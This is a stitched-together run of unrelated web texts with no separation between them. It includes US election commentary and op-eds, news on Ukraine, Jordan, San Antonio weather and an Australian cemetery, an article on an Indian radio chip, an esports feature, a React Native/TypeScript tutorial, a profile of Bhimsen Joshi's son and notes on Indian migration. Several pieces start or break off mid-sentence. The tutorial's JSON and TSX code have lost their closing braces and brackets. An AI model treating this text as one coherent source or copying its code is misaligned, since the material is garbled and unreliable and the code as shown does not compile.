Yes. It shows how much power Adelson has over the GOP that Ryan would place near the top of his first week to-do list a dash out to Vegas to kiss Adelson’s ring (presumably a pinky ring). Adelson’s gambling empire, Las Vegas Sands, is the subject of two different major federal investigations, one by the Justice Department and another by the Securities and Exchange Commission. It is kosher to ask whether Adelson is lavishing as much as (or maybe more than) $100 million on the GOP not just to promote his hawkish views about Israel but also to try to shut down those investigations in a Romney administration. Meanwhile, journalists, and not just at the Times but at ProPublica, Frontline, the Journal, and NBC News, among no doubt others, are continuing to dig into Adelson’s empire. What happens in Vegas — and in the Sands’s Macau outpost as well — will not stay in Vegas between now and Election Day. This could be the sleeper “October Surprise” of the 2012 campaign.
Joe Biden told supporters in Virginia yesterday that by rolling back Wall Street reforms, Romney would “put y’all back in chains.” Republicans, predictably, screamed bloody murder. How does that rank among recent Bidenisms?
It’s certainly one of the dumber ones. It was a complete stretch, and the use of a Southern “y’all” to pander to African-American voters was embarrassing. But what’s been fascinating is the Romney campaign’s over-response. This was a remark by the vice-president, not the president, and it should have been answered by Ryan or some other Romney surrogate. Instead, Romney himself did another round of over-the-top interviews whining about negative campaigning and accusing Obama of practicing “hate.” (Even as Romney’s entire campaign is itself one long attack on Obama.) Responding with this level of feigned outrage to a Bidenism makes him look like a rich guy who can’t stand the heat, if not a Gingrich-esque crybaby.
No one would call Chris Christie a crybaby. He makes others howl. A good idea to have him as the GOP convention’s keynote speaker?
Russia's Channel One published the excerpt as both Ukraine and marked - very differently - the one-year anniversary of the pro-Western uprising in Kiev that sent Yanukovych fleeing to exile in
"I'll be back and will do everything in my power to make life easier in Ukraine," Yanukovych promised in the interview, which will be broadcast in full on Monday.
He claimed that "my heart ached" at seeing the conflict Ukraine has slipped into, with "entire regions destroyed".
Protesters who chased out Yanukovych discovered the lavish life he had been living - including a sumptuous palace with a private zoo, a replica pirate ship and pure gold fittings - while the country was mired in debt.
Photo: Courtesy Photo: Courtesy Image 1 of / 1 Caption Close Another Arctic blast in the forecast 1 / 1 Back to Gallery
SAN ANTONIO — Clouds and patchy fog Monday morning will clear and the high will hit about 80 degrees in Bexar County, according to the National Weather Service.
Finish raking your leaves and putting up your holiday lights before Thursday, because another Arctic blast will drop temperatures and possibly bring freezing rain this weekend, according to the National Weather Service.
The weather will remain sunny and warm through Wednesday before temperatures fall Thursday, which will also see showers, according to Jon Zeitler, science and operations officer in the Austin-San Antonio office of the National Weather Service. Temperatures will drop to the lower 60s on Thursday in Bexar County and the upper 50s in the Hill Country, according to the National Weather Service.
Friday through Sunday will be colder still, and another shot of cold air early next week will keep temperatures below normal through mid-month, according to Zeitler. Saturday appears to be the coldest day, with highs in the lower 40s in Bexar County and in the upper 30s in the Hill Country.
An upper low Friday night through Saturday night will likely bring freezing rain to the Hill Country and Edwards Plateau. The National Weather Service is not predicting freezing rain for metropolitan San Antonio, but warns of thin layers of ice on bridges and other elevated surfaces.
Ask 10 patent attorneys where we stand after Bilski and you'll get 10 different answers: while it's generally agreed that software patents are still valid, a look at how new software patent applications are being drafted makes it seem like we're back to pretending that software is just hardware again. Either way, it doesn’t matter: no matter what rules the courts and the USPTO issue, clever patent attorneys will be able to find a way to draft claims around them — that's how we ended up pretending software was hardware in the first place.
Does that all seem super boring and insanely complicated to you? It should, because it is. Our court system is designed to resolve conflicts, not make laws, and trying to arrive at cohesive and consistent software patent guidelines through five decades of litigation is more or less like trying to build a skyscraper by throwing dirt at a tree. You can't complain that the system is broken when we barely have a system.
The solution is simple, of course: we just have to add a real software patent section to Title 35. What would it look like? Well, we could try and define what a "software patent" actually is — that's never really been done in a meaningful way. We could also directly address the relationship between software and "just math," and try to find a balance between protecting the research and investment it takes to push the industry forward, while taking proper notice of the fact that there are some foundational principles of software development that are as fundamental as any other kind of math. We might also sharply limit the term of software patents to better reflect the pace of the industry and the lower fixed costs of software development — software costs less to create and distribute than physical goods, so it's probably fair to give companies a shorter period of time to profit from their inventions. Amazon CEO Jeff Bezos wrote an open letter calling for patent reform in 2000 that covered most of these points and proposed a term of 3-5 years. Maybe it’s time we dusted that off.
This need for fundamental software patent reform isn’t just wishful thinking — it’s understood at the highest levels of the judiciary. The legendary Judge Richard Posner just threw out the whole of the Apple vs. Motorola patent infringement case, saying that neither side had adequately proven what damages any alleged infringements had cost. In a followup interview with Reuters, Posner bluntly said “it’s not clear that we really need patents in most industries,” and specifically discussed the lower costs of software development as compared to pharmaceutical research as a reason to limit the IP protections afforded to the tech industry. But Posner is a judge, not a legislator, and he can’t write the law from the bench. That’s up to us — and ultimately, Congress.
Pruthvi, a chip developed by Saankhya Labs can be used to develop systems that work across the wireless spectrum for civilian and defence use cases
A real-time monitoring, tracking and reporting system fitted on trains will trigger audio and visual warning at unmanned level crossings to warn passersby of approaching trains
Samraat, developed by Saankhya along with Isro, can be connected to a standard Android smartphone via USB and be used as a satellite phone via an app
What is common between a satellite phone, a tracking system for the Indian Navy and Coast Guard, a communication platform for the Indian Army, and a real-time monitoring and reporting system for the Indian Railways? At their heart is Pruthvi, a penny-sized chip developed by an Indian fabless semiconductor company Saankhya Labs.
The cool quotient of the technology developed by the Bengaluru company is that it can be used to develop systems that work across the wireless spectrum for civilian and defence use cases — the first such instance from India.
Most of the projects are being developed in partnership with Indian Space Research Organisation or Isro, whose communication satellites will support these systems.
Real-time monitoring for Indian Railways
Unmanned level crossings are a hotbed for train-related fatalities across India. The Indian Railways has over 9,300 unmanned level crossings and between 2011-2016 there have been 613 deaths at such crossings across India, according to a news report.
The Pruthvi-powered, real-time monitoring, tracking and reporting system fitted on trains will trigger audio and visual warning at unmanned level crossings to warn passersby of approaching trains.
The safety feature is one of the several in this system, which, at its core, allows two-way communication between running trains and personnel at stations and control centres. To be sure, much of this communication is possible via mobile phones today, but long stretches of the world’s third largest railway network by route kilometres fall in areas not covered by phone networks.
The system installed in the train engine has a satellite communication antenna, a GPS antenna, and a touchscreen terminal on the train using which the loco pilot can view the route map, send and receive messages and check other traffic-related information.
“For unmanned level crossings, the system currently provides audio warning, but the system can be modified to provide visual warning and other functionality in future,” says Parag Naik, Saankhya’s CEO who cofounded the company in 2007 along with Hemant Mallapur and Vishwakumara Kayargadde.
The system, yet to be named, has been tested live with a satellite and is in the process of being deployed.
Watching over territorial waters
According to international law, the territorial waters of a country extend 22.2km out from its coastline into the ocean. India has a coastline of over 7,500 km. This means, India’s maritime forces have to monitor some 1.67 lakh sq km — the size of Andhra Pradesh state. The task becomes all the more difficult and tricky when the size of vessels is smaller. And the problem is compounded when small Indian fishing boats stray into waters belonging to countries such as Sri Lanka or Pakistan.
Saankhya has developed a Pruthvi-based system that will help the Indian Navy and coast guards track and monitor sub-20-metre vessels plying in India’s territorial waters.
The idea is that every Indian fishing vessel will be mandated to install the tracking system. “The system will consist of antennas and a battery-operated terminal fixed on the boat. Other than monitoring, the system will also help assist smaller vessels to prevent entering or drifting into territorial waters of neighbouring countries,” says Naik.
The company says the system, again not named yet, is being made ready for pilot deployment in a month’s time.
Also read: Infiltrators beware: Autonomous rovers, drones may soon be safeguarding India’s border
Indigenous satellite comms
Perhaps the most ambitious platform Saankhya has developed in partnership with Isro is an indigenous satellite phone system called Samrat. It currently works in the S-band but can also be modified to work in the lower L-band. The company claims this is the first indigenously developed satphone system that pairs with Android phones.
The Samrat module, which looks like a power bank with an antenna, can be connected to a standard Android smartphone via USB to be used as a satellite phone via an app. The company also plans to enable Bluetooth connectivity for the module so that the smartphone can be connected wirelessly to the module, which has 24 hours standby time and allows three to four hours talk time when fully charged.
“We wanted to leverage the currently available infrastructure on the Android system and use that instead of building a complete device with the chip, screen, user interface and getting different parts from different vendors,” says Naik. “In this case, you just connect the satellite phone module and you are done.”
The fact that Samrat, built around the Pruthvi chip, works on an indigenous system and via an Indian satellite makes it more secure than using a similar service from foreign providers.
Owning and operating a satphone is not legal in India except in certain conditions when it can be used with prior permission from the Department of Telecommunications of the Indian government, which is responsible for telecom policies and rules.
But this might soon change with the Bharat Sanchar Nigam Ltd (BSNL) announcing its plans to extend satphone services to civilians in two years time. The state-owned telecom operator plans to do this in partnership with British satellite telecommunications company Inmarsat, which owns and operates a network of communication satellites.
Multi-frequency comms for the Army
For the Indian Army, Saankhya is developing a set of devices that can work across different frequencies — from 2MHz to S-band. It plans to make the devices more ruggedised and secure compared to their non-military versions.
“These devices will be capable of acting as satphones or a normal terrestrial comm system and will be of various form factors, including handheld or backpack versions, depending on power and range requirements,” adds Naik.
This development, together with Hyderabad engineering services company Cyient, is also based on the Pruthvi chip.
The chip has been used in the past to power Saankhya’s Meghdoot system that uses ‘white space’ frequencies to beam the internet access to rural areas as part of the Digital India programme. ‘White space’ refers to frequencies allocated for broadcast purposes like terrestrial TV broadcast (eg Doordarshan) but stay unused. They present a cheap and efficient way of enabling internet access in far-flung villages.
Also read: This super-bandage is saving soldiers in the Indian Army from bleeding to death
SDR, the force behind Pruthvi
What is the magic in Pruthvi that allows it to power multiple devices and platforms? SDR or software defined radio. SDR is a radio communication system than can be configured or defined by software. In effect, it replaces conventional hardware circuitry with software modules. This allows for a common hardware platform to be used to communicate via different waveforms by just reloading or reconfiguring the software part of the system based on the requirement at hand.
Even though SDRs have been around for nearly 30 years, the technology has found limited use until now because it is power hungry — restricting use in low-cost, low-power devices like smartphones.
The use case won’t change overnight with Saankhya’s success with Pruthvi but it holds promise, an expert said. “SDR is more suitable in niche areas like satellite phones, where the volume is not very high, (they come at a) high cost and have specific use cases,” says Mohan Kumar, executive director at Norwest Venture Partners India who previously was the corporate vice-president of Mobile Devices Software at Motorola. “The advantage of the system is that if the standards change, then you can change the software and use the device.” Which is essentially what Saankhya seems to have cracked.
Spoilers obviously, but damn, do they look good! The demo wasn’t an accurate indicator of how large this game is. If you are prepared to be spoiled, then go ahead and take a look, it’s totally worth it. A user named Mr.Nightmare posted these screens on a random board, so check them out there or via the following gallery.
McCain, in a much more light-hearted and relaxed mood than he was during last night's debate, poked fun at the adoration surrounding Obama when he quipped: "Maverick I can do but messiah is above my pay grade."
He also made light of the controversy surrounding his "that one" comment at the second debate when he said that it was simply his pet name for Obama.
"He doesn't mind at all. In fact, he has given me the pet name, 'George Bush.'
Watch McCain:
McCain also noted the lingering unease among Hillary Clinton and her supporters at losing the bitterly-fought primary against Obama:
"I can't shake the feeling that some people here are voting for me. Nice to see you, Hillary."
And he joked that Bill Clinton "has been hammering away with me with epithets like, 'war hero.'"
He also snapped that MSNBC's acerbic host, Keith Obermann deserves a "padded room," adding that if Obama wins the election, "I understand that Keith Olbermann has ordered up his very own Mission Accomplished banner... he knows right where to put it."
Obama made light of McCain's consistent attempts to tie him to former Weather Underground leader Bill Ayers and to spread unease about Obama's real character.
"There is no Senator I would rather be palling around with," quipped Obama after he took the stage, referring to the McCain campaign's talking points about Obama "palling around" with Ayers.
Watch Obama:
He also joked about McCain's age, saying that the candidate and long-deceased New York governor Al Smith "had a great time in the days before Prohibition."
And he noted the lingering distrust between the Obama team and Hillary Clinton and her supporters, saying that she was the "primary reason I have all this gray in my hair."
Obama also made light about the messiah complex some of his supporters have built around his candidacy.
"I was not born in a manger. I was actually born on Krypton. I was sent here by my father Jor-El to save the planet Earth... Many of you know that I got my name from my father. "Barack" is Swahili for "That one." I got my middle name from somebody who obviously didn't realize I would run for president."
"My greatest strength would be my humility. My greatest weakness is that it's possible I am too awesome."
And he joked about McCain's earlier attempt in the campaign to attack Obama's celebrity status. Obama said that he "punched a paparazzi on my way out of Spago's. I even spilled my soy chai latte.
More of Obama's wit:
- Mayor Michael Bloomberg's term limits maneuverings caused Bill Clinton to say: "You can do that?"
- The housing crisis "has been eight times harder on John McCain."
- "There was a point in my life when I started palling around with a pretty ugly crowd.... that's right... I've been a member of the United States Senate."
Jordan's constitution stipulates that a sitting government must resign within a week to pave way for a new cabinet.
The decision on Sunday to dissolve parliament did not take Jordanians by surprise as the news was expected since the passing of the 2015 Elections Law two months ago.
“When the new elections law was passed two months ago, it was decreed that a new elections would take place in either September or November of this year. In order for that to happen, parliament has to be dissolved at least four months prior, so that is why people were expecting the news,” Mohammed Husseiny, a political analyst and director of think tank - the Identity Center JO - told Al Arabiya English.
Under the new bill, Jordan has done away with the “one-person, one-vote electoral system,” and elections are now based on a large voting system, in which candidates can run for parliamentary seats on one large multimember ticket.
The bill divides the country into 23 electoral districts, one for each of the 12 governorates, except for Amman which was split into five districts, Irbid into four and Zarqa into two.
Prioritizing the economy
Tasked with overseeing an elections before the end of this year will be Mulqi, who was minister of foreign affairs and minister of industry and trade in previous years.
Given Jordan’s desire to prioritize the economy on the top of its agenda, Mulqi’s appointment did not come as a surprise to Husseiny.
“The new prime minister is well known as a specialist in economics. His appointment might be an indicator that the priorities for the coming time will be the economy.” Husseiny said.
Tasked with overseeing an elections before the end of this year will be Hani al-Mulqi, who was minister of foreign affairs and minister of industry and trade in previous years. (AFP)
When Senator Cruz accepted an invitation to speak at the convention, I was admittedly distraught. I feared an endorsement would surely follow and I could not understand why. Donald Trump had repeatedly called Senator Cruz a liar throughout the primary. His birther attacks inspired many a deranged supporter to file frivolous lawsuits challenging Cruz’s citizenship and eligibility to run.
Trump’s lapdog, Roger Stone, pushed stories of an affair in the despicable National Enquirer, which would only cause heartache for the Senator’s family. Not content with just that attack on the Cruz family, Trump personally slandered Heidi’s looks and topped his attacks of by implying that the senator’s father was a conspirator in the JFK assassination. These were not good people (nor were their supporters); why would Senator Cruz humiliate his family by openly embracing them?
On Wednesday nigh, Cruz made his point. He would not endorse Donald Trump. You see, he wasn’t willing to sell his family out for a political party. He wasn’t willing compromise his beliefs by joining hands with a man who is an enemy of everything conservatism stands for. He wasn’t willing to stand and be counted with the army of neo-Nazis, white supremacists, 9/11 truthers, and other such filth that run with Trump’s cabal. He wasn’t willing to make a mockery of his faith in order to push a political cause nor blaspheme his Savior by paying homage to an amoral charlatan.
That’s why the Trumpkins were enraged. Because he wouldn’t do any of the above, and because they would. Many of the politicians in that hall would happily stab a spouse in the back or at least dishonor that spouse if it meant advancing a political agenda or career. So would many of the non-politicians; after all, how can you claim to be interested in honoring your wife when you fervently support a man who has a history of at least verbally abusing the women around him and openly boasts of his unfaithfulness to his multiple wives?
All of Trump’s supporters in that hall, no matter what they claim, have indicated that they will stand with the underworld that is Trump’s core support in the name of winning one for the party. They would also throw any principle they formerly claimed under the bus in order to win an election. Thus, a party that once called for conscience protections for nuns and other people of faith booed the thought of people voting their conscience on Wednesday night.
And yes, many of them would (and did) make a mockery of their claimed faith in order to push a politician that they support. Many try to justify this by claiming that they’re only opposing Hillary Clinton. To them, I ask: So? Guess who else isn’t Hillary Clinton? Jim Jones. Would you have supported him if he were your alternative? How about Charles Manson? Erick Erickson points out that yes, Hitler wasn’t Hillary Clinton either; would that justify supporting him?
“And what do you benefit if you gain the whole world but lose your own soul? Is anything worth more than your soul?” asks Christ. I can’t help but think that some churchgoers today would protest, “But what about the Supreme Court?” Christ makes the answer to this question quite clear in both word and deed. He was offered the ultimate political solution: Again, the devil took Him to a very high mountain and showed Him all the kingdoms of the world and their glory. “All this I will give you,” he said, “if you will bow down and worship me.”
If you’ve ever read of the temptations of Christ, you know His answer. No, not if that’s the cost. Not if my soul is what’s required of me. Not if I must violate my conscience in order to please others. That was the correct reply to the offer of power for sacrifice of principle two millennia ago. I happen to think it is still the correct answer today. So, apparently did Senator Cruz.
That’s why politicians, pundits, and people alike hated his speech. Because it stands in opposition to them. To the talk radio hosts who abandoned the conservative cause in favor of Trump-inflated ratings, to the “Christian” leaders who were willing to pass off a professed unrepentant man as a follower of Christ, and to the would-be political leaders who talked a good game about the dangers of Trump but were willing to say, “just kidding!” when the party called, Cruz represents a distinction and a picture of what all of them should have been.
Then, when you're assured of how good and well-coached Counter Logic Gaming is, and how CLG might go all the way, it loses to some wild-card team you learned about only three days ago from a region you didn't even know existed. Editor's Picks The 2017 League of Legends Hub The 2017 League of Legends Hub is your stop for all the information you need about the League of Legends World Championships. You'll find stats, standings, results, recaps and more, all in one place.
NA LCS W3D3: Ssumday, but not today Team Dignitas star Kim "Ssumday" Chan-ho can only take the team so far against the likes of Counter Logic Gaming. CLG pulled off the 2-0 sweep.
League of Legends NA LCS CLG Stats The stats page for Counter Logic Gaming in the 2018 NA LCS. 2 Related
Here we are. CLG came into the season as a safe pick to do well in a climate of total roster upheaval. The team kept the same five starters who made it to the world championships and took a game from the ROX Tigers (and went 0-2 against a wild-card team, again). However, in true illogical CLG fashion, the team came out of the gates rusty and dropped matches to teams with rosters that had been playing together only for weeks. And, on cue, when it was time to give up on CLG, it gave undefeated Cloud9 its closest series of the year and took a convincing 2-0 win over Team Dignitas to remain in the playoff race.
"We definitely struggled early on," admitted AD carry Trevor "Stixxay" Hayes, the team's ace from last season. "Our series against Cloud9, we picked it up and played a lot better as a team, and ever since then we've had really, really good practice."
Even in the series against TSM, which CLG eventually lost in a close 1-2 score line, Stixxay felt the team played a bit weird, and a majority of the matches so far had come down to small team fights that changed the course of games. Although at a substandard 2-4 record, CLG's map score of 6-8 tells a better story of its split so far for the two-time league champion.
In the series against Dignitas, CLG's cohesion and the players' familiarity with one another outweighed a heroic one-man performance from DIG's star top laner Kim "Ssumday" Chan-ho. Stixxay felt the play style of Ssumday and the non-Korean players on the team hadn't quite meshed yet, leaving them in awkward positions where Ssumday, in a huge lead over his lane opponent on a split-pushing champion like Fiora, couldn't be used to his full potential. And for all of CLG's struggles, when it came down to decisive decision-making against Dignitas, the experience of the former champs won out.
"I just really feel comfortable with everything," Stixxay said of his team. "I've had the same room for the last year and a half I've been there. So I just wake up every day, and it's not weird - it doesn't feel like an uncomfortable environment. I wake up, I do my daily stuff and no one has any problems with each other; everyone is friendly with each other. It's just a familiar feeling to be there."
Comfort. It's not an aspect of a professional gamer's life usually discussed when talking about a team's success, but it is a major factor. The amount of importing from teams has made it so team houses at times can feel more like hotels than homes. For Stixxay and the rest of CLG, even when the wheels are rattling off the wagon, the players know they can trust one another and figure out a way to gel in games as well as they do away from the screen.
That said, Stixxay doesn't want the power of friendship to overshadow the other reason why CLG has won two championships in the past three seasons: They're a damn good team and have players like Stixxay who can stand with the best individually on the international stage.
"It's annoying when people [only talk about] power of friendship," he said. "Friendship is not going to win you games, guys. You have to be good at the game."
Trust and skill both play important parts in League, and CLG has both. Although the club didn't shop for superstars during the offseason, it has half of the puzzle worked out. Now, they have to perform - and the game against Cloud9 is a sign CLG is close.
Nader Dabit Blocked Unblock Follow Following Apr 29, 2017
Quick and modern guide to getting started with React Native and TypeScript
In this post, I will go over how to quickly add TypeScript to a React Native project.
TypeScript is being picked up by a lot of projects these days. It gives JavaScript static typing, and helps simplify relations between various components.
In our project, we will automatically compile our TypeScript into ready to run JavaScript whenever we save a file in our text editor.
To check out the final boilerplate, click here.
This project assumes that you already have React Native CLI setup and working on your machine
The first thing we will do is create a new React Native project:
react-native init rntypescript
After the project is created, cd into the directory
cd rntypescript
The next thing we need to do is make sure we have TypeScript installed globally on our machine:
npm i -g typescript
Now, we need to go ahead and install the types we will be needing for React and React Native.
These types give us declaration files for both React and React Native.
yarn add @types/react-native @types/react
Now that we have our dependencies set up, we need to create a tsconfig.json file.
This file will let us dictate things like the root files, compiler options, and output directory for the compiled JavaScript that we will end up using in our app.
In the root of the directory, create a tsconfig.json with the following options:
"compilerOptions": { // 1
"target": "es2015",
"module": "es2015",
"jsx": "react",
"outDir": "build",
"rootDir": "src",
"allowSyntheticDefaultImports": true,
"noImplicitAny": true,
"experimentalDecorators": true,
"preserveConstEnums": true,
"allowJs": true,
"sourceMap": true
"exclude": [ // 2
"index.android.js",
"index.ios.js",
"build",
"node_modules",
"__tests__"
"compileOnSave": true // 3
compilerOptions — In this key, we specify some configuration to make sure this project works with our React project, specify the root directory ( rootDir ) where our TypeScript code will be, and specify the output directory ( outDir ) where our compiled JavaScript will be. exclude — tell typescript which files to ignore compileOnSave — If you are using Visual Studio or Atom editor (with the atom-typescript plugin), this will automatically compile your code when you save the file. We will also be implementing this manually from the command line, so this configuration could be completely optional.
Now, all of our configuration and setup is complete. The next thing we need to do is create a src directory, and add an index.tsx file there:
// index.tsx
import React, { Component } from 'react'
import {
StyleSheet,
Text,
View
} from 'react-native'
interface Props {} // 1
interface State { // 2
name: string
export default class App extends Component<Props, State> { // 3
state = { name: 'Nader' } // 4
render() {
return (
<View style={styles.container}>
<Text style={styles.text}>
Welcome {this.state.name}! // 5
</Text>
</View>
const styles = StyleSheet.create({
container: {
flex: 1,
justifyContent: 'center',
alignItems: 'center',
backgroundColor: '#F5FCFF',
text: {
fontSize: 20,
textAlign: 'center',
margin: 10,
We create an empty Props interface We create a State interface, and give it a shape of name: string When we create our component, we now pass in our two interfaces create the state with a single value: name we use the state like we normally would in any component
The last thing we need to do is update the index.ios.js or index.android.js files, depending on our platform.
index.ios.js / index.android.js
import React from 'react';
import {
AppRegistry
} from 'react-native';
import App from './build'
const rntypescript = () => <App />
AppRegistry.registerComponent('rntypescript', () => rntypescript);
Notice we are not importing from our src directory, as these are our uncompiled TypeScript files.
What we want is the compiled JavaScript which will show up in a new build directory when we compile our code in the next step after this one, which we import here as App.
The last thing we need to do is run the TypeScript compiler, and then open our App!
In your terminal, run this command:
tsc -w
Now, if we look in our app, we should see a new build directory with the compiled code.
From this point, you should be able to run your React Native app like you would normally.
The final code is available for download here.
My Name is Nader Dabit . I am a Developer Advocate at AWS Mobile working with projects like AppSync and Amplify, and the founder of React Native Training.
If you like React and React Native, checkout out our podcast — React Native Radio on Devchat.tv.
Also, check out my book, React Native in Action now available from Manning Publications
Posted
Vandals have smashed dozens of headstones and memorials at a South Australian regional cemetery in what the local mayor has described as "desecration on a massive scale" and an "act of barbarity".
Locals in the small town of Auburn in the Clare Valley discovered 46 monuments at grave sites in the Moores Road cemetery had been knocked over and damaged.
The vandalism was reported on Saturday morning to police, who have labelled it "malicious and senseless" and believe it occurred in the past three days.
The damage bill has been estimated to be between $200,000 and $300,000.
"The extent of the damage is incomprehensible," Clare and Gilbert Valleys Mayor Allan Aughey said.
"I've got nothing else to compare it with. It's extensive and it's affected contemporary headstones, historic headstones.
"Monumental masonry on an epic scale has been damaged."
Mr Aughey said many in the community would not yet be aware of the violation.
"I'm standing here in front of a desecrated headstone and a beautiful angel on the top of it that's just been smashed completely," he said.
"[Cemeteries] are sacred places and they should be given the utmost respect and entirely the opposite has happened here. What has happened out here is an act of barbarity."
Mr Aughey said the council would notify families and "do what we can to assist those families and to assist in the rectification".
Clare police have asked anyone with information to contact Crime Stoppers on 1800 333 000.
To an untrained ear, Raghavendra’s voice appears rich and mellifluous. Yet, he was able to sing to his father on only two occasions, once when Bhimsen Joshi was bedridden after he had fractured a leg, and another time during his last dying days. Otherwise, such intimacy was never encouraged.
Raghavendra is Pandit Bhimsen Joshi’s eldest son, born of his first and neglected wife, Sunanda Hunagund. His mother bore three more children, Usha, Sumangala and Anand. When he was around five years old, Bhimsen Joshi got married a second time—to Vatsala Mudholkar, with whom he had three children. After a brief attempt to stay together, Bhimsen Joshi moved in with his second wife and family. “History is always written by conquerors,” Raghavendra says. “And in the war over our father, we lost.”
Now at 69, two years after the death of Bhimsen Joshi, Raghavendra is making a claim to his father and his memories of him. He has written a book detailing his relationship with his father. Titled Ganaaryache Por (Singer’s Son), it will first be published in Marathi and then translated into Kannada later this year. “Some people ask why I have written this tell-all book.” he says. “But this is not about speaking ill of my father. It is about providing a true and complete picture of him. About providing our story with him,” he says, ‘our’ being Sunanda and her children.
Raghavendra lives on the outskirts of Pune in a two-storey house with his wife, two sons and three grandchildren. After spending about 15 years working as a supervisor in a government arms factory, he set up a bore-well drilling company from which he retired a few years ago.
Raghavendra’s is a story about neglect and abandonment. After his father eloped with his second wife, whom he had met during a Kannada play, the two wives and their children tried living together. Arguments between the two wives would break out constantly, and according to Raghavendra, the second wife ill-treated them. He claims that within a few months, he and his mother were asked to leave and live separately. On his second wife’s insistence, Bhimsen Joshi provided them only a meagre allowance of about Rs 200 every month, and she let him visit them only occasionally.
“When people wrote articles or books on my father and his personal life, we would never be mentioned [even] in a single line. It was extremely hurtful. Here was this star, a public figure growing in stature, and here we were, neglected and alone,” Raghavendra says.
Many years later, when Gulzar’s documentary on Bhimsen Joshi was aired on Doordarshan, Raghavendra gathered his family to watch it. “It was supposed to be an intimate look at Pandit Bhimsen Joshi, but we were not [mentioned] even once. But what hurt the most was that one instance in the film when [my father] remarks how every time he travels, he now has to get something for his grandson,” Raghavendra says. Bhimsen Joshi was referring to the grandson at his home with his second wife, while Raghavendra himself had a son of similar age.
Raghavendra refers to his father as ‘Bhim-anna’, having picked up the name from the manner in which other musicians referred to him. When he was around six, he recalls watching a performance of his father at an open-air concert. There was a slight drizzle. He shut his eyes while his father sang, and for the first time, he felt as though he was walking with his father in a beautiful garden. “I realised what an incredible man he was,” he says, “And I wanted to be a singer just like him.” He would ask his father to train him, visit his father’s performances and practice on his own, imitating whatever riyaaz he had seen his father do, but he was never trained. A few years later, when his mother started living separately from her husband, she encouraged him to sing and got him a guru. However, the arrangement did not work out, and Raghavendra soon had to concentrate on his education so he could support the family. Later, when he started working, he tried to undergo vocal training again. But that did not work out either, as he found himself too tired after work to pursue music classes.
Unlike his siblings, Raghavendra was deeply influenced by his father’s music. He had, after all, spent plenty of time with his father before he moved away. Raghavendra would try to attend all his performances in Pune and nearby cities like Mumbai. On many occasions, his second wife and children would be invited on stage for photographs, while Raghavendra would look on from the front row. After performances, Raghavendra would walk home, while his father would drive on as though he hadn’t seen him. “But I don’t grudge him those moments. I understand he was under pressure,” he says.
However, despite objections, Bhimsen Joshi continued to visit his first wife and family. And in 1962, about a decade after he remarried, Sunanda gave birth to her youngest son, Anand Bhimsen Joshi.
Bhimsen Joshi was an incorrigible alcoholic, which Raghavendra blames on the pressures of having two families. Tales of his drunken antics include stumbling on stage sodden with alcohol. Once in the 1950s, he boarded a flight at Mumbai Airport drunk and took a seat reserved for Morarji Desai, Chief Minister of the then Bombay state. The city was under prohibition at the time. Desai took another seat instead. But during the flight, the CM realised that the singer was drunk and pointed out that liquor was not allowed in the city. “Prohibition is for the ground,” replied the singer, “Not the skies.”
Bhimsen Joshi’s biography, Bhimsen Joshi: A Passion for Music, tells of another hilarious account. In early 1976, when India was under the Emergency, Bhimsen Joshi was travelling to Delhi with a friend, TA Pai, a banker. Pai was expected to become the Union’s next Finance minister, but got the Commerce portfolio instead. Later, during a performance in the capital that Pai was attending, a drunken Bhimsen Joshi started delivering a speech on how Indira Gandhi was erring by not letting Pai run the Finance Ministry. Afraid of the consequences, Pai waded through the audience, landed on stage and tried to wrest the mike out of his hands, even as Bhimsen Joshi kept up his harangue.
Raghavendra laughs as he recalls these episodes. Some of his earliest memories are of sitting in the passenger seat of his father’s Fiat with his inebriated father—in undershorts, a vest and pair of Ray-Ban sunglasses—and the windows rolled down, driving from Pune to Kolkata to reach a venue for a performance. On one occasion, he visited his first family slightly drunk, and, Raghavendra recalls shyly, planted a kiss on his mother’s cheek in front of the children.
As the years went by, and as the guilt perhaps over neglecting his wife and children increased, Bhimsen Joshi started drinking more. Later, there were times when he would disappear for days at a stretch, with neither wife aware of his whereabouts. Vatsala, his second wife, would call Raghavendra on such occasions, asking him for help. As the eldest son, his father often listened to him. Bhimsen Joshi was once located in Mumbai after about two days of being missing, and since he was refusing to return home, Raghavendra along with a half brother were sent to fetch him. They all returned to Pune by air, also Raghavendra’s first ever flight. Bhimsen Joshi, with his late arrival and people’s requests for pictures, managed to delay the aircraft by about half an hour. When they reached Pune, the singer refused to go to either house. Instead, he took the two sons to a rich friend’s house for lunch and “a few light drinks”. Hearing his father’s stories, the host said, “What a rich life you lead, Panditji.” “This episode has always stuck with me.”
Raghavendra says, “Here was this rich man, with an elaborate feast and a number of servants, and he was calling my father rich.”
Despite being ignored so badly, Raghavendra would always seek out his father. He got his father to attend his wedding, his son’s naming ceremony (where Bhimsen Joshi showered flowers made of gold on the child), and when he bought his first vehicle, a Maruti car, he asked his father to take the first drive home from the showroom.
When Sunanda died, Bhimsen Joshi was in Mumbai for a performance. Raghavendra called him, but his father asked him to go ahead with the funeral as he would not be able to attend it. In a rare instance of losing his temper on his father, Raghavendra cut the line off, saying he did not expect any better. Bhimsen Joshi apologised later and made it to the funeral.
Raghavendra himself tried to be part of his father’s life, often going out of his way to do so. He was beside his ailing father when he was conferred the Bharat Ratna, despite not having been invited. He paid daily visits to his father when he was in hospital dying. When he died, it was a hospital doctor, and not any of his step-siblings, who informed Raghavendra.
A few years before his death, when Bhimsen Joshi was bedridden with a fractured leg, Raghavendra had asked him why he had neglected them. “You could so effortlessly move people to tears with your voice,” he asked, “How could you be so cruel to your own family?”
This was a rare instance, since he’d never questioned his father. His father began to cry then. Raghavendra’s biggest disappointment remains of not having followed his father’s footsteps and become a musician. He never had the courage to express this disappointment to his father, or even the gumption to ask him for his opinion on his talent. That evening, as he sat by his father’s bedside, his father moved to tears by his question, Raghavendra asked him one more thing. For the first time, he asked if he could sing to him. Bhimsen Joshi agreed and after listening to him, cried some more but did not say anything.
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“We have an India that comprises of Tamil Nadu, Kerala, Karnataka, Andhra Pradesh and West Bengal, where populations have started becoming older and older, like some of the advanced countries. So we have the peninsular India, that resembles the advanced countries in terms of their age structure and then we have a young India; Bihar, Madhya Pradesh, Rajasthan, Orissa, which are much more young and dynamic.”
“So this is going to be huge challenge and an opportunity…. Soon there are going to be states in India that will start ageing and they will need people from other parts of India to look after their elderly.
“In a sense, we will need more migration in India, so that young demographic India with Bimaru states actually migrate more in order to look after the ageing population of some of the older, ageing states,” Subramanian added.
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Referring to the Economic Survey 2016-17 presented recently in the Parliament, he pointed out that an estimated nine million migrant population travel between states for work. This was derived using data from Indian Railways for a period between 2011-16.
